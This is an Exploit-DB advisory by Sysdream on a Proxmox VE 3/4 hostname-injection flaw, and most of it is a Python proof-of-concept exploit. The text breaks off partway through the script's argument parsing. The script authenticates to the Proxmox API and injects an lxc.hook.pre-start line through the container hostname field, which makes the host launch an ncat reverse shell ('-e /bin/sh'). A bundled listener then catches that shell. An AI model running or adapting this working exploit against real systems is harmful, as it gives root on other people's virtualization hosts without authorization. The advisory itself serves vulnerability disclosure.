Exploit-DB #39499
Description: Proxmox VE 3/4 - Insecure Hostname Checking Remote Command Execution
Type: remote
Platform: linux
Date: 2016-02-26
Author: Sysdream

Exploit:
=====================================================================
Proxmox VE 3/4 Insecure Hostname Checking (Remote Root Exploit, XSS,
Privileges escalation)
=====================================================================

Description
===========

Proxmox is a popular virtualization solution based on KVM and Linux
containers.

A critical vulnerability has been found in Proxmox VE 3 (OpenVZ) and
Proxmox VE 4 beta 1 (LXC) in the
virtual machine creating form allowing authenticated remote users to
overwrite configuration files settings.


Configuration file overwriting
==============================

Because the Proxmox VE application doesn't check the
user-provided "hostname" POST parameter, it's
possible to overwrite configuration files using a CRLF injection.
In Proxmox VE 3, we successfully gained access to the host filesystem
from a container and elevated our container capabilities, allowing us to
obtain user credentials and sniff the network.
In Proxmox VE 4b1, because LXC allows "hooks" to execute commands, we
successfully gained root privileges on the host.
It's also possible to exploit Proxmox clusters.

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-915

Proof of Concept
----------------

The following exploit works for Proxmox VE 4 beta 1. The
lxc.hook.pre-start configuration variable is used to trigger the ncat
reverse-shell payload when the container is started.

    #!/usr/bin/env python

    import requests
    import socket
    import telnetlib
    from threading import Thread
    import argparse
    from time import sleep

    def exploit(target, username, password, vmid, template, realm,
reverse, hostname):
        payload = "ncat %s %s -e /bin/sh" % reverse

        print "[~] Obtaining authorization key..."
        apireq = requests.post("https://%s/api2/extjs/access/ticket" %
target,
                               verify=False,
                               data={"username": username,
                                     "password": password,
                                     "realm": realm})
        response = apireq.json()
        if "success" in response and response["success"]:
            print "[+] Authentication success."
            ticket = response["data"]["ticket"]
            csrfticket = response["data"]["CSRFPreventionToken"]
            createvm =
requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname),
                                     verify=False,
                                     headers={"CSRFPreventionToken":
csrfticket},
                                     cookies={"PVEAuthCookie": ticket},
                                     data={"vmid": vmid,

"hostname":"sysdream\nlxc.hook.pre-start=%s &&" % payload,
                                           "storage": "local",
                                           "password": "sysdream",
                                           "ostemplate": template,
                                           "memory": 512,
                                           "swap": 512,
                                           "disk": 2,
                                           "cpulimit": 1,
                                           "cpuunits": 1024,
                                           "net0":"name=eth0"})
            if createvm.status_code == 200:
                response = createvm.json()
                if "success" in response and response["success"]:
                    print "[+] Container Created... (Sleeping 20 seconds)"
                    sleep(20)
                    print "[+] Starting container..."
                    startcontainer =
requests.post("https://%s/api2/extjs/nodes/%s/lxc/%s/status/start" %
(target, hostname, vmid), verify=False, headers={"CSRFPreventionToken":
csrfticket}, cookies={"PVEAuthCookie": ticket})
                    if startcontainer.status_code == 200:
                        response = startcontainer.json()
                        if "success" in response and response["success"]:
                            print "[+] Exploit should be working..."
                        else:
                            print "[!] Can't start container ! Try to
start it manually."
                else:
                    print "[!] Error creating container..."
                    print response
            else:
                print "[!] Error creating Container. Bad HTTP Status
code : %d" % createvm.status_code
        else:
            print "[!] Authentication failed - Check the credentials..."

    def handler(lport):
        print "[~] Starting handler on port %d" % lport
        t = telnetlib.Telnet()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", lport))
        s.listen(1)
        conn, addr = s.accept()

        print "[+] Connection from %s" % addr[0]

        t.sock = conn

        print "[+] Pop the shell ! :)"

        t.interact()

    if __name__ == "__main__":
        print "[~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas
Chatelain <n.chatelain[at]sysdream.com>\n"

        parser = argparse.ArgumentParser()
        parser.add_argument("--target", required=True, help="The target
host (eg : 10.0.0.1:8006)")

        parser.add_argument("--username", required=True)
        parser.add_argument("--password", required=True)

        parser.add_argument("--localhost", required=True, help="Local
host IP for the connect-back shell.")
        parser.add_argument("--localport", required=True, type=int,
help="Local port for local bind handler")

        parser.add_argument("--vmid", required=False, default="999",
type=int, help="A unique ID for the container, exploit will fail if the
ID already exists.")

        parser.add_argument("--template", required=False,
default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz"